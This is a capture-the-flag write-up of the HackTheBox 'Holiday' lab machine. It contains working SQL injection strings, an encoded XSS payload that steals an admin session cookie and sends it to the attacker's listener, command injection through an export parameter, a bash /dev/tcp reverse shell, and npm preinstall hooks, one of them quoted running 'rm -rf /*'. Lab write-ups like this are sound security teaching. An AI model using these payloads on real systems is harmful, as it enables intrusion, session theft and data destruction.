Holiday was a fun, hard, old box. The path to getting a shell involved SQL injection, cross site scripting, and command injection. The root was a bit simpler, taking advantage of a sudo on node package manager install to install a malicious node package.

Box Info

Name Holiday Holiday
Play on HackTheBox
Release Date 02 Jun 2017
Retire Date 18 Nov 2017
OS Linux Linux
Base Points Hard [40]
Rated Difficulty Rated difficulty for Holiday
Radar Graph Radar chart for Holiday
First Blood User 3 days 20:40:01tomtoump
First Blood Root 3 days 21:18:33tomtoump
Creator g0blin



nmap shows two ports, ssh (22) and http served by Node.js (8000):

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2019-09-04 03:12 EDT
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for
Host is up (0.083s latency).
Not shown: 48784 filtered ports, 16749 closed ports
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 66.77 seconds
root@kali# nmap -p 22,8000 -sC -sV -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( ) at 2019-09-04 03:14 EDT
Nmap scan report for
Host is up (0.037s latency).

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)
|   256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)
|_  256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)
8000/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 15.13 seconds

Website - TCP 8000


The site is just an outline of a hexagon:


The page source doesn’t reveal anything further, though it is interesting that it’s importing common javascript frameworks jquery and bootstrap to just show an image:

<!DOCTYPE html>
<html lang="en">
      <meta charset="utf-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <title>Booking Management</title>
      <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0">
      <link rel="stylesheet" type="text/css" href="/css/bootstrap.min.css" />
      <link rel="stylesheet" type="text/css" href="/css/main.min.css" />
      <script src="/js/jquery.min.js"></script>
      <script src="/js/bootstrap.min.js"></script>

      <center><img class='hex-img' src='/img/hex.png'/></center>


Web Path Bruteforce

gobuster returns nothing:

root@kali# gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2019/09/04 03:19:26 Starting gobuster
2019/09/04 03:26:27 Finished

Given recent experiences being burned by gobuster, I gave dirsearch a run, and it found a bunch:

root@kali# -u

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions:  | Threads: 10 | Wordlist size: 5686

Error Log: /opt/dirsearch/logs/errors-19-09-04_03-27-01.log


[03:27:01] Starting: 
[03:27:07] 302 -   28B  - /admin  ->  /login
[03:27:07] 302 -   28B  - /ADMIN  ->  /login
[03:27:07] 302 -   28B  - /Admin  ->  /login
[03:27:08] 302 -   28B  - /admin/  ->  /login
[03:27:08] 302 -   28B  - /admin/?/login  ->  /login
[03:27:15] 301 -  165B  - /css  ->  /css/
[03:27:20] 301 -  165B  - /img  ->  /img/
[03:27:21] 301 -  163B  - /js  ->  /js/
[03:27:22] 200 -    1KB - /login
[03:27:22] 200 -    1KB - /Login
[03:27:22] 200 -    1KB - /login/
[03:27:23] 302 -   28B  - /logout  ->  /login
[03:27:23] 302 -   28B  - /logout/  ->  /login

Task Completed

gobuster has burned me in the past is on weird http response codes that aren’t in the whitelist. But in this case, I 200, 301, and 302, all of which were in the whitelist above.

To figure out why (not that I really need to, but I wanted to know), I created a really short word list of paths that should match, one 200 and one 302:

root@kali# cat dirs 

Now I’ll run both dirsearch and gobuster through burp so I can compare:

root@kali# gobuster dir -u -w dirs -p
root@kali# -u -w dirs --proxy=

I’ll start looking at the request for /login. gobuster gets a 404 response, where dirsearch gets a 200.

gobuster dirsearch
GET /login HTTP/1.1
User-Agent: gobuster/3.0.1
Accept-Encoding: gzip, deflate

Connection: close

GET /login HTTP/1.1
User-agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Accept-Language: en-us
Keep-Alive: 300
Cache-Control: max-age=0

The biggest difference between the two is the User-agent string. I’ll kick the dirsearch one over to repeater and play with it.

First thing I do is test that it gets a 200. It does. Then I change the User-agent to 0xdf. It 404s. I start deleting words from the UA, testing after each delete. If it works, I keep deleting. If removing something breaks it, I leave it in. I get down to User-agent: Windows NT 6.1 with it still returning 200. Some quick playing around shows that it also works if the 6 is a 5 and/or the 1 is a 2, but not other numbers. It appears to be case insensitive.

I also tested replacing Windows with Linux, and that worked too (in fact, without an version number, just the string Linux works).

I could fuzz this further, checking for other strings that might work, but for now, I’ll remember to use a realistic User-Agent should I use any more web tools on this host.

Shell as algernon

Getting a shell as algernon will take three distinct exploits: SQL injection, cross site scripting (xss), and command injection.

Access to Booking Details (SQLi)

Login Form Enumeration

As I head to /login, I’m presented with a login form:


Trying “admin” / “admin” returns a message “Invalid User”:


It’s a good sign that it seems to differentiate between invalid user and incorrect password. I can potentially try to brute force usernames if I can get SQLi to work (which I can).


I’ll kick the login POST over to Burp repeater. Leaving the password as admin, next I try user name ' and ".

As I learned the hard way in a recent live CTF, always check for SQLi with both ' and ". The former returns “Invalid User”, but the latter returns a new error, “Error Occurred”:

burpClick for full size image

That’s a good sign. Now I’ll try to bypass the login by setting the username to " OR "1"="1. A new error message again, “Incorrect Password”, suggests I’ve bypassed the username check. But even more interestingly, the Username field now comes with a prefilled value, “RickA”:

burpClick for full size image

So not only do I have a username that’s valid (I can check by trying to log in and seeing the “Incorrect Password” message and not “Invalid User”), but I have some output of the database.

With a valid username, I thought maybe I could bypass password all together with a comment. But submitting RickA" -- - as username returned “Error Occurred”. This means that I am not quite right with the structure of the query. I played around with this input, adding ) to try to get it balanced out, and eventually got back to “Incorrect Password” with RickA")) -- -. This tells me that the query looks something like (where { } marks input):

SELECT * FROM users where ((password = hash({password})) and (username = {username}))

The password part must come first, or else my comments would have led to my getting into the site.

I can now try to figure out how many columns are being returned by adding a UNION. If no rows come back from the first select, but one “row” is created by my UNION, I’ll get a way to leak information from the database.

So I start with ")) UNION SELECT 1 -- -, and get an error. The error is because the number of columns expected doesn’t match the UNION. Next I try ")) UNION SELECT 1,2 -- -, and error. At ")) UNION SELECT 1,2,3,4 no error, and I can see the returned username of “2”:

burpClick for full size image

Now that I can leak data, I next want to get the DB version. It will also help me understand what kind of database I’m running. Replacing the 2 with various commands to get the version will not only tell me the version, but identify what kind of database this is. So when @@version (mysql and mssql) and version() (postgresql) fail, I try sqlite_version() and it works:

burpClick for full size image

Now I can start to get more interesting stuff into that one entry of text that is returned. PayloadsAllTheThings has a sqlite injection page which is a good reference.

I’ll list the table names using ")) UNION SELECT 1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'-- -. It returns “users,notes,bookings,sessions”.

Thinking that the users table looks most interesting, I’ll get the columns from it using ")) UNION SELECT 1,sql,3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='users'-- -. I get back:


I could keep digging around, but I’ll go for the data here with ")) UNION SELECT 1,group_concat(username),3,4 FROM users-- -. Only one user is returned, the one I already know about, RickA. Now I’ll get the password, replacing group_concat(username) with password, and it returns “fdc8cd4cff2c19e0d1022e78481ddf36”. Given that’s 32 characters, it seems like an md5, and confirms it is the md5 of “nevergonnagiveyouup”:


Escalation to administrator on Booking Details (XSS)


Now with the username and password, I can log into the site:


Clicking on the UUID shows the details:


On the Notes tab, there’s an input form:


It’s interesting to see the note that all notes must be approved, and that it can take up to a minute. This implies some kind of user interaction, probably once a minute.


First I like to start with an image to see if this theory is correct, and it’s less likely to be filtered. I’ll start an http server, and submit <img src='' />. Within a minute I get a hit:

root@kali# python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [04/Sep/2019 15:30:18] code 404, message File not found - - [04/Sep/2019 15:30:18] "GET /test.jpg HTTP/1.1" 404 -

Back on the page, I can see my input:


So even if it’s not handled as HTML here, it may be by the reviewing system.

I’ll try a basic payload, <script>alert('XSS')</script>, not because I expect it will pop on the site I see, but because seeing what comes back will give me some insight into the filtering. After minute, I see the payload is a bit mangled:


I started submitting more payloads from various XSS cheat sheets around the internet, and eventually (after a ton of trial and error) found this one:

<img src="x` `<script>javascript:alert(1)</script>"` `>

It gets a bit mangled, but the script tags come through:


It seems to remove the quotes, but then not mess with the brackets that are between the quotes.

I tried to use <img src="x <script>document.location=''+document.cookie</script>" > to get cookies, but it didn’t work. I noticed in the output that the ' were all removed:


I’ll try javascript that writes a script tag that is sourced back to me:

<img src="x` `<script>document.write('<script src=""></script>');</script>"` `>`

Again, no love.

I’ll try encoding the inside. First I’ll use python to convert it to ints:

>>> payload = '''document.write('<script src=""></script>');'''
>>> ','.join([str(ord(c)) for c in payload])

Now I make a payload:

<img src="x` `<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,51,48,47,48,120,100,102,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>"` `>`

That didn’t work either, but after a ton of tinkering, I got this to work, in that I saw a connection on nc:

<img src="/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,51,48,47,48,120,100,102,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>" />
root@kali# nc -lnvp 80
Ncat: Version 7.80 ( )
Ncat: Listening on :::80
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
GET /0xdf.js HTTP/1.1
Accept: */*
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*

Now that it is trying to get javascript from me to run, I will give it some. I’ll make a file that waits for the page to load, and then executes a request to me:

root@kali# cat 0xdf.js 
window.addEventListener('DOMContentLoaded', function(e) {
    window.location = "" + encodeURI(document.getElementsByName("cookie")[0].value)

I’ll re-submit the same payload, with python acting as a webserver, and nc listening on 81. It hits the webserver:

root@kali# python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [04/Sep/2019 18:10:26] "GET /0xdf.js HTTP/1.1" 200 -

And then I get the request with the cookie on nc:

root@kali# nc -lnvp 81
Ncat: Version 7.80 ( )
Ncat: Listening on :::81
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
GET /?cookie=connect.sid=s%253Ab3c4cce0-cf60-11e9-84a9-cb2ef2ea7a59.ZKayGjSEn27vNWWhzADjAyFYV2tPHlaWeErLRJZQpsM HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*

I’ll take that cookie and update mine in Firefox dev tools:


On page refresh, the page looks the same, but there’s an Admin tab:


It allows me to approve notes here:


Command Injection


There’s not much else I can do in the current page, but thinking back to the dirsearch, there was /admin. Visiting there returns another page:


If I hit the bookings button, I get a file that is rows of pipe separated values:

1|e2d3f450-bdf3-4c0a-8165-e8517c94df9a|Wilber Schowalter|A697I||183.0|1497933864607|1498458169878|Alishabury
2|2332eef6-0f05-413a-aac1-ac5772e9dd8a|Sedrick Homenick|3RMYF||847.0|1515149552629|1520893749909|New Dedric
3|ffd52467-9fa2-4b9a-90f7-995cbc705055|Miss Gisselle West|PP9VY||502.0|1515329040778|1521227597426|West Jammie
4|f712cfb3-0b33-40ea-998e-c5c592cfe78d|Bridget Conn|UAY1O||337.0|1514384362631|1518897271120|West Duane
5|c759bc3b-6b4b-421f-a266-1f83dbd79c79|Prudence Klein|88NUL||406.0|1508369395503|1513895747866|Artview
6|67ba406b-ab94-4e63-b7f2-be8fd3ccfe91|Terrence Batz|60JWN||644.0|1514050328936|1516567931551|Tysonfurt

I’ll check out that request, it’s a GET to /admin/export?table=bookings. The notes export button goes to table=notes.

I tried another table I knew from the db, users, and got back:


I wanted to get a full list of the tables, so I checked the sqlite_master table, but an error came back:

Invalid table name - only characters in the range of [a-z0-9&\s\/] are allowed

That’s interesting. Why would a table name need a space, forward slash, or ampersand. The ampersand inspired me to try command injection by visiting /admin/export?table=users%26id:

uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)

Shell / Filter Bypass

Now that I have code execution, I’ll need a shell. All the reverse shells I typically use have tons of banned characters in them. The first thing I need to figure out is how to get my ip. Luckily, there’s a trick on Linux that IPs can be written in hex. On my local box, I’ll demonstrate. 127 = 0x7f, 0 = 0x00, and 1 = 0x01. So I can ping 0x7f000001:

root@kali# ping -c 1 0x7f000001
PING 0x7f000001 ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=0.028 ms

--- 0x7f000001 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.028/0.028/0.028/0.000 ms

Once you have that trick, the rest is rather straight forward. I’ll create a file, rev with a reverse shell in it:


bash -i >& /dev/tcp/ 0>&1

Now I’ll use wget to get it onto Holiday. Nothing comes back in the response:


But I do get a hit on my webserver: - - [07/Sep/2019 05:39:33] "GET /rev HTTP/1.1" 200 -

I can also see it on Holiday using ls:


Now i’ll run it by visiting /admin/export?table=b%26bash+rev:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
bash: cannot set terminal process group (1146): Inappropriate ioctl for device
bash: no job control in this shell
algernon@holiday:~/app$ id
uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)

And that’s enough to find user.txt one directory up:

algernon@holiday:~$ cat user.txt 

Shell as root


Enumeration is often short when I find something interesting in the first place I check, sudo -l:

algernon@holiday:~$ sudo -l
Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass,

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *

This user can run npm as root without a password.

NodeJS npm

Some googling led me to this post about how npm can be dangerous. The idea is that a NodeJS package is defined in a file, package.json. The example from this repository looks like:

  "name": "rimrafall",
  "version": "1.0.0",
  "description": "rm -rf /* # DO NOT INSTALL THIS",
  "main": "index.js",
  "scripts": {
    "preinstall": "rm -rf /* /.*"
  "keywords": [
  "author": "João Jerónimo",
  "license": "ISC"

There’s an item in there, scripts with a child preinstall that is a command that will run, before the install.


I’ll create my own package.json in a folder for my fake Node app. npm requires that a package have a name and a version.

algernon@holiday:/dev/shm$ cat 0xdf/package.json 
  "name": "root_please",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "/bin/bash"

Now I’ll just give it a run:

algernon@holiday:/dev/shm$ sudo npm i 0xdf/ --unsafe

> root_please@1.0.0 preinstall /dev/shm/node_modules/.staging/root_please-ea155d5e
> /bin/bash

root@holiday:/dev/shm/node_modules/.staging/root_please-ea155d5e# id
uid=0(root) gid=0(root) groups=0(root)

From there I can grab root.txt:

root@holiday:/root# cat root.txt